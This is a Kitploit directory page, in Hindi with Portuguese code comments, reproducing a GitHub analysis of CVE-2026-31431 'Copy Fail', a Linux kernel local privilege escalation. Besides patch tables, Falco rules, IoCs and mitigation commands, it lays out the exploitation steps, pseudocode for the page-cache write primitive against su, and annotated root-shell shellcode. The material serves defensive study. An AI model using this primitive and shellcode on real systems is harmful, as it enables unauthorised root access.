Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/darioomatos/cve-2026-31431-copyfail
विशेषाधिकार वृद्धिशोषण फ्रेमवर्कभेद्यता विश्लेषणशोषणपेपर और शोधलर्निंग और शिक्षाचयनित संसाधन
GitHubdarioomatos/cve-2026-31431-copyfail

cve-2026-31431-copyfail

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

# CVE-2026-31431 का शैक्षिक विश्लेषण AF_ALG AEAD इन-प्लेस ऑपरेशन के माध्यम से Linux कर्नेल में स्थानीय विशेषाधिकार वृद्धि, जिसमें तकनीकी मूल कारण, पहचान और शमन शामिल हैं।

रिपॉजिटरी देखें
164 महीने पहलेअभी तक समीक्षित नहीं

CVE-2026-31431 — "Copy Fail" 🔐

शैक्षणिक तकनीकी विश्लेषण Linux कर्नेल की Dirty Pipe (2022) के बाद से सबसे महत्वपूर्ण कमजोरियों में से एक का।
यह रिपॉजिटरी शोध, अध्ययन और सुरक्षा के लिए है। यहां कोई कार्यशील exploit वितरित नहीं किया जाता है।


सूची

  • यह क्या है?
  • आम लोगों के लिए: उपमा
  • समयरेखा
  • तकनीकी रूप से यह कैसे काम करता है
  • विश्लेषित shellcode
  • समान कमजोरियों से तुलना
  • प्रभावित सिस्टम
  • क्या Android प्रभावित है?
  • पहचान
  • शमन और पैच
  • अध्ययन कार्यान्वयन
  • संदर्भ

यह क्या है?

CVE-2026-31431, जिसे Copy Fail नाम दिया गया है, Linux कर्नेल में एक स्थानीय विशेषाधिकार वृद्धि (LPE — Local Privilege Escalation) कमजोरी है। यह किसी भी बिना विशेषाधिकार वाले उपयोगकर्ता को सेकंडों में root एक्सेस प्राप्त करने की अनुमति देती है।


आम लोगों के लिए: उपमा

कल्पना करें कि ऑपरेटिंग सिस्टम के पास एक कार्यशील मेमोरी (जिसे page cache कहा जाता है) है जहां वह उपयोग में आने वाली फाइलों की प्रतियां रखता है। जब आप कोई प्रोग्राम चलाते हैं, तो सिस्टम उस प्रोग्राम को इस मेमोरी में लोड करता है और वहीं से चलाता है — सीधे डिस्क से नहीं।

Copy Fail एक सामान्य उपयोगकर्ता को एक विशेष प्रोग्राम (एक setuid बाइनरी, जैसे su कमांड) की मेमोरी में मौजूद प्रति को बदलने की अनुमति देती है, बिना डिस्क पर मूल फाइल को छुए। डिस्क पर फाइल बरकरार रहती है, लेकिन जब प्रोग्राम चलाया जाता है, तो सिस्टम मेमोरी का दूषित संस्करण पढ़ता है।

यह ऐसा है जैसे किसी शेफ के खाना बनाते समय उसकी मेमोरी में रेसिपी बदल दी जाए — मूल रेसिपी बुक नहीं बदलती, लेकिन जो व्यंजन निकलता है वह पूरी तरह अलग होता है।

परिणाम: दूषित प्रोग्राम हमलावर के कोड को root अनुमतियों के साथ चलाता है।

जो इसे विशेष रूप से खतरनाक बनाता है:

  • कोई race condition विंडो नहीं है — यह नियतात्मक (deterministic) है
  • डिस्क पर कोई निशान नहीं छोड़ता (डिस्क फोरेंसिक से पता नहीं चलता)
  • 2017 से लगभग सभी Linux वितरणों पर काम करता है
  • मूल exploit केवल ~700 बाइट्स की Python है

समयरेखा```

2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)

2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos

2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)

2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017

2026 Abr 22 → CVE-2026-31431 atribuída

2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação

2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos

root@kitploit:~
---

## यह तकनीकी रूप से कैसे काम करता है

### प्रवाह का सामान्य अवलोकन```
Atacante (usuário sem privilégios)
    │
    ├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
    │       Cria socket de criptografia no kernel
    │       bind: "authencesn(hmac(sha256),cbc(aes))"
    │
    ├─ 2. setsockopt: define chave AEAD + authsize=4
    │
    ├─ 3. accept() → op_socket
    │
    ├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
    │       AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
    │
    ├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
    │       CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
    │       As páginas do arquivo agora estão no destino GRAVÁVEL da operação
    │
    ├─ 6. recv() → dispara o authencesn
    │       authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
    │       Escreve 4 bytes em dst[assoclen + cryptlen]
    │       = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
    │       HMAC falha → retorna EBADMSG → IGNORADO
    │
    └─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
           Executa o binário alvo → root shell

मूल कारण: इन-प्लेस ऑपरेशन + sg_chain()

यह बग crypto/algif_aead.c में रहता है। 2017 में, AEAD ऑपरेशन को प्रदर्शन बढ़ाने के लिए इन-प्लेस में परिवर्तित किया गया था:```c // Antes (seguro): req->src e req->dst são scatterlists separadas // Depois (bugado, commit 72548b093ee3): req->src = req->dst; // mesma scatterlist para entrada e saída

// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA

root@kitploit:~
`authencesn` एल्गोरिदम IPsec के Extended Sequence Number (ESN) के बाइट्स को पुनर्व्यवस्थित करने के लिए डेस्टिनेशन बफर को *scratch space* के रूप में उपयोग करता है:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
//                                       ^^^^^^^^^^^^^^^^^^^^^^^^^
//                                       offset que ultrapassa o output buffer
//                                       e cai nas páginas do page cache encadeadas

क्यों कोई निशान नहीं छोड़ता

लेखन पूरी तरह से VFS को बायपास करता है। संशोधित पृष्ठ को कर्नेल के writeback तंत्र द्वारा कभी dirty के रूप में चिह्नित नहीं किया जाता है। डिस्क पर फ़ाइल बरकरार रहती है। हैश-आधारित अखंडता उपकरण (aide, tripwire, inotifywait) कुछ भी पता नहीं लगाते क्योंकि वे डिस्क की निगरानी करते हैं, page cache की नहीं।


विश्लेषित shellcode

यह exploit zlib के साथ संपीड़ित 160 बाइट्स का एक मिनी-ELF एम्बेड करता है। डीकंप्रेसन के बाद, निष्पादन योग्य भाग है:```nasm ; Offset 0x78 no arquivo ELF (entry point)

xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root

lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)

; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)

bin_sh: db "/bin/sh", 0

root@kitploit:~
**न्यूनतम ELF संरचना (कुल 160 बाइट्स):**```
Offset 0x00–0x3F  → ELF64 Header (64 bytes)
                    e_type=ET_EXEC, e_machine=EM_X86_64
                    e_entry=0x400078, e_phnum=1

Offset 0x40–0x77  → Program Header PT_LOAD (56 bytes)
                    p_flags=PF_R|PF_X, p_vaddr=0x400000
                    p_filesz=0x9e

Offset 0x78–0x9D  → Shellcode (26 bytes código + "/bin/sh\0")

समान कमजोरियों से तुलना


प्रभावित सिस्टम

कर्नेल संस्करण:

  • पेश किया गया: Linux 4.14 (जुलाई 2017)
  • सुधारा गया: 6.18.22, 6.19.12, 7.0

पुष्टि किए गए कार्यशील शोषण वाले वितरण:

  • Ubuntu 24.04 LTS
  • Amazon Linux 2023
  • Red Hat Enterprise Linux 10.1
  • SUSE Linux Enterprise 16
  • Debian, Fedora, Arch Linux, AlmaLinux, Rocky Linux

आवश्यक शर्त: कर्नेल में CONFIG_CRYPTO_USER_API_AEAD=y या =m

जाँचें कि सिस्टम उजागर है या नहीं:```bash

Verifica se o módulo está disponível

grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

=y → built-in (mais difícil de desabilitar)

=m → módulo carregável (pode ser bloqueado via modprobe)

(ausente) → não afetado

Teste direto (não causa dano, apenas testa acesso):

python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "

root@kitploit:~
---

## क्या Android प्रभावित है?

**संक्षिप्त उत्तर:** मानक Android (AOSP/GKI) **व्यवहार में कमजोर नहीं है**, लेकिन गैर-मानक कॉन्फ़िगरेशन वाले डिवाइसों की जाँच की जानी चाहिए।

### पूर्व-आवश्यकता के अनुसार विश्लेषण```
Pré-requisito                 Android AOSP/GKI padrão    Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada       ✅ Sim (Android 12–16)      ✅ Sim
algif_aead habilitado         ❌ Não (fora do GKI)        ⚠️  Possível (OEM config)
AF_ALG acessível a apps       ❌ Bloqueado SELinux+seccomp ⚠️  Depende da policy
Binário setuid disponível     ❌ Android não usa setuid    ⚠️  Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK            ❌ Inviável                  ❌ Inviável
Exploração via ADB shell      ❌ Bloqueado por SELinux     ⚠️  Possível (permissive)

Android स्वाभाविक रूप से सुरक्षित क्यों है

1. GKI में CONFIG_CRYPTO_USER_API_AEAD अनुपस्थित Google इस विकल्प को मानक arm64 gki_defconfig में शामिल नहीं करता। Android क्रिप्टोग्राफी के लिए userspace में BoringSSL का उपयोग करता है, AF_ALG पर निर्भर नहीं रहता।

2. SELinux enforcing Android के SELinux का untrusted_app domain AF_ALG के लिए create अनुमति नहीं रखता। socket(AF_ALG, SOCK_SEQPACKET, 0) कॉल क्रिप्टोग्राफी सबसिस्टम तक पहुँचने से पहले EACCES के साथ अस्वीकार कर दी जाती है।

3. Seccomp-bpf Android ऐप्स seccomp फ़िल्टर के साथ चलते हैं जो domain=AF_ALG के साथ socket() को ब्लॉक करता है — यह तृतीय-पक्ष ऐप्स के लिए अनुमत syscalls की whitelist में नहीं है।

4. setuid बाइनरी की अनुपस्थिति Android पारंपरिक Linux setuid मॉडल का उपयोग नहीं करता। विशेषाधिकार प्राप्त बाइनरी विशिष्ट capabilities का उपयोग करते हैं या समर्पित UIDs के साथ सेवाओं के रूप में चलते हैं। प्रोडक्शन AOSP बिल्ड में /usr/bin/su नहीं होता।

Android में जोखिम परिदृश्य

Android डिवाइस की जाँच कैसे करें```bash

Verificar config do kernel

adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD

Verificar modo SELinux

adb shell getenforce

Enforcing = protegido / Permissive = risco potencial

Teste direto (requer adb shell funcional)

adb shell python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')) print('EXPOSTO') except Exception as e: print('Bloqueado:', e) " 2>/dev/null || echo "python3 não disponível no device"

Procurar binários setuid (incomum em Android padrão)

adb shell find /system /vendor -perm -4000 -type f 2>/dev/null

root@kitploit:~
---

## पहचान

### Falco (रनटाइम पहचान)```yaml
- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
  desc: >
    Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
    toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
  condition: >
    evt.type = socket
    and evt.rawres >= 0
    and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
    and (evt.arg.type = 5 or evt.arg.type = 2053)
    and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
                          integritysetup, kcapi-enc, kcapi-dgst)
  output: >
    AF_ALG AEAD socket por processo suspeito
    (proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
  priority: CRITICAL
  tags: [CVE-2026-31431, kernel, privilege_escalation]

समझौते के संकेतक (IoCs)```bash

Processo Python que abre AF_ALG seguido de execução de shell

strace de processo suspeito mostrando:

socket(AF_ALG=38, SOCK_SEQPACKET, 0)

bind(..., "authencesn(hmac(sha256),cbc(aes))", ...)

splice(...) ← arquivo → pipe → socket

recvmsg(...)

Seguido de:

setuid(0)

execve("/bin/sh", ...)

Red flags nos logs do sistema:

- Processo não-root com UID transitioning para 0

- python3 como parent de sh/bash

- Sequência socket+splice+recv em processo de usuário comum

root@kitploit:~
### जाँचें कि सिस्टम से छेड़छाड़ तो नहीं हुई है```bash
# Page cache pode ser limpo com:
echo 3 > /proc/sys/vm/drop_caches
# Isso desfaz a corrupção em memória (sem trocar o binário em disco)

# Verificar integridade do binário em execução vs. disco:
# (não detecta a corrupção enquanto a página está no cache)
sha256sum /usr/bin/su
# Compare com o hash de referência da distribuição

शमन और पैच

विकल्प 1 — कर्नेल अपडेट करें (अनुशंसित)```bash

Ubuntu / Debian

sudo apt update && sudo apt upgrade linux-image-generic sudo reboot

RHEL / AlmaLinux / Rocky Linux

sudo dnf upgrade kernel sudo reboot

Fedora

sudo dnf upgrade kernel sudo reboot

Arch Linux

sudo pacman -Syu linux sudo reboot

Verificar versão após reboot:

uname -r

Deve ser >= 6.18.22 ou >= 6.19.12 conforme sua série

root@kitploit:~
**श्रृंखला के अनुसार सही किए गए संस्करण:**

| श्रृंखला | सही किया गया संस्करण |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x  | 6.1.170  |
| 6.6.x  | 6.6.137  |
| 6.12.x | 6.12.85  |
| 6.18.x | **6.18.22** |
| 6.19.x | **6.19.12** |
| 7.0+   | **7.0** (फिक्स शामिल) |

### विकल्प 2 — algif_aead को अक्षम करें (अस्थायी समाधान)

**यदि `CONFIG_CRYPTO_USER_API_AEAD=m` (लोड करने योग्य मॉड्यूल):**```bash
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true

यदि CONFIG_CRYPTO_USER_API_AEAD=y (बिल्ट-इन — RHEL/Rocky/CloudLinux मामला):

⚠️ उपरोक्त कमांड काम नहीं करता जब मॉड्यूल कर्नेल में संकलित होता है।```bash

Use o initcall_blacklist via grubby:

grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" sudo reboot

Verificar se o mitigation está ativo:

cat /proc/cmdline | grep algif_aead_init

root@kitploit:~
**पुष्टि करें कि workaround काम कर रहा है:**```bash
python3 -c "
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
    print('✅ Mitigação ativa — socket bloqueado')
"

वर्कअराउंड की संगतता: algif_aead का ब्लॉकिंग dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, SSH को प्रभावित नहीं करता। यह केवल उन अनुप्रयोगों को प्रभावित करता है जो स्पष्ट रूप से AEAD के लिए AF_ALG का उपयोग करते हैं (दुर्लभ — उदा: OpenSSL afalg इंजन के साथ, हार्डवेयर क्रिप्टो ऑफलोड)।

विकल्प 3 — कंटेनरीकृत वातावरण के लिए Seccomp / LSM```yaml

Perfil seccomp para bloquear AF_ALG em containers:

{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }] }] }

root@kitploit:~
---

## अध्ययन कार्यान्वयन

यह रिपॉजिटरी शैक्षिक उद्देश्यों के लिए कई भाषाओं में एक्सप्लॉइट के तंत्र का दस्तावेजीकरण करती है। ध्यान यह समझने पर है कि **कैसे** भेद्यता काम करती है, न कि आक्रामक उपकरण वितरित करने पर।

### तंत्र की संरचना (स्यूडोकोड)```
função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
    alg = socket(AF_ALG, SEQPACKET)
    alg.bind("authencesn(hmac(sha256),cbc(aes))")
    alg.set_key(chave_36_bytes)
    alg.set_authsize(4)          ← 4 bytes = tamanho do write primitivo
    op = alg.accept()

    # O segredo: bytes[0:4] vão para posições [4:8] do AAD
    # authencesn lerá isso como seqno_lo e escreverá no page cache
    aad = [0,0,0,0] + bytes      ← [seqno_hi=0][seqno_lo=bytes_desejados]

    op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])

    pipe_r, pipe_w = pipe()
    splice(arquivo → pipe_w, len=offset+4, src_offset=0)
    splice(pipe_r  → op,     len=offset+4)
    # ↑ Injeta page cache na scatterlist do AF_ALG

    op.recv()  ← dispara authencesn → escrita acontece → EBADMSG ignorado

# Uso:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
    escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su")  ← agora executa nosso ELF → root

प्रलेखित भाषाएँ

फ़ाइल copyfail_study.md में पूर्ण और टिप्पणी-युक्त कार्यान्वयन शामिल हैं।

ELF payload के बारे में

पुनर्प्राप्त shellcode (PoC के zlib decompression के बाद) निम्न कार्य करता है:```

  1. setuid(0) → syscall 105 (0x69)
  2. execve("/bin/sh",0,0) → syscall 59 (0x3b) com /bin/sh como string inline
  3. exit(0) → syscall 60 (0x3c) — fallback
root@kitploit:~
कुल: 26 बाइट्स कोड + 8 बाइट्स स्ट्रिंग = 160 बाइट्स के ELF के अंदर 34 बाइट्स का शेलकोड।

---

## संदर्भ

| संसाधन | लिंक |
|---|---|
| मूल Writeup (Theori/Xint) | https://xint.io/blog/copy-fail-linux-distributions |
| CVE की आधिकारिक साइट | https://copy.fail |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
| मूल PoC रिपॉजिटरी | https://github.com/theori-io/copy-fail-CVE-2026-31431 |
| मेनलाइन पैच | https://git.kernel.org/stable/c/a664bf3d603d |
| विकिपीडिया | https://en.wikipedia.org/wiki/Copy_Fail |
| Sysdig विश्लेषण + Falco rule | https://sysdig.com/blog/cve-2026-31431-copy-fail |
| Microsoft Defender विश्लेषण | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 |
| Tenable FAQ | https://tenable.com/blog/copy-fail-cve-2026-31431 |
| CERT-EU एडवाइजरी | https://cert.europa.eu/publications/security-advisories/2026-005 |
| Bugcrowd विश्लेषण | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 |
| OSS-Security चर्चा | https://openwall.com/lists/oss-security/2026/04/29/23 |
| AlmaLinux पैच | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail |
| CloudLinux पैच + workaround विश्लेषण | https://blog.cloudlinux.com/cve-2026-31431-copy-fail |
| Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 |

---

## अस्वीकरण

इस रिपॉजिटरी का उद्देश्य **विशेष रूप से शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान** है। यहाँ मौजूद सामग्री निम्नलिखित के लिए है:

- आक्रामक और रक्षात्मक सुरक्षा पेशेवर
- भेद्यता शोधकर्ता
- सूचना सुरक्षा के छात्र
- सिस्टम प्रशासक जिन्हें जोखिम को समझकर उसे कम करने की आवश्यकता है

**इस ज्ञान का उपयोग मालिक की स्पष्ट अनुमति के बिना सिस्टम पर न करें।** कंप्यूटर सिस्टम तक अनधिकृत पहुँच लगभग सभी न्यायक्षेत्रों में अपराध है (ब्राज़ील में, Lei 12.737/2012 — Lei Carolina Dieckmann; Lei 14.155/2021)।

---

*अंतिम अद्यतन: मई 2026*  
*PR के माध्यम से योगदान का स्वागत है — शैक्षिक और रक्षात्मक फोकस बनाए रखें।*
टूल डाउनलोड करें
विशेषतामान
CVECVE-2026-31431
CVSS स्कोर7.8 HIGH
प्रकारLocal Privilege Escalation (LPE)
उपतंत्रcrypto/algif_aead.c — AF_ALG
परिचयKernel 4.14 (commit 72548b093ee3, जुलाई 2017)
सुधार6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d)
खोजकर्ताTaeyang Lee — Theori / Xint Code
सार्वजनिक प्रकटीकरण29 अप्रैल 2026
सार्वजनिक PoCहाँ — ~732 बाइट्स की Python स्क्रिप्ट
Dirty Cow (2016)Dirty Pipe (2022)Copy Fail (2026)
CVECVE-2016-5195CVE-2022-0847CVE-2026-31431
प्रकारCoW में रेस कंडीशनबिना फ्लैग वाला पाइप बफरAEAD में लॉजिक बग
विश्वसनीयतारेस-निर्भर (~ms)नियतात्मकनियतात्मक
डिस्क पर निशानहाँ (गंदे पेज)नहींनहीं
पोर्टेबिलिटीव्यापकविशिष्ट संस्करणसार्वभौमिक (2017–2026)
PoC का आकार~50 लाइनें C~40 लाइनें C~10 लाइनें Python
सबसिस्टमmm/ (CoW)fs/ (पाइप)crypto/ (AF_ALG)
खोजमैनुअलमैनुअलAI-सहायता प्राप्त
शोषण विंडोरेस विंडोकोई नहींकोई नहीं
परिदृश्यजोखिम
Magisk/KernelSU + SELinux permissive वाला डिवाइसउच्च — सभी पूर्वापेक्षाएँ संरेखित हो सकती हैं
CONFIG_CRYPTO_USER_API_AEAD=y + eng build वाला OEM कर्नेलमध्यम — shell एक्सेस पर निर्भर करता है
गैर-रूटेड डिवाइस पर दुर्भावनापूर्ण ऐपकोई नहीं — SELinux + seccomp ब्लॉक करते हैं
प्रोडक्शन बिल्ड में ADBकोई नहीं — adb root काम नहीं करता
भाषाविवरण
Python (deobfuscated)मूल PoC का स्वच्छ और टिप्पणी-युक्त संस्करण
NASM x86_64ELF payload, निर्देश-दर-निर्देश एनोटेटेड
GoSYS_SPLICE और SYS_SETSOCKOPT के लिए सीधे syscall.RawSyscall6 का उपयोग करते हुए
Cstruct msghdr, CMSG_DATA, और zlib runtime के साथ कार्यान्वयन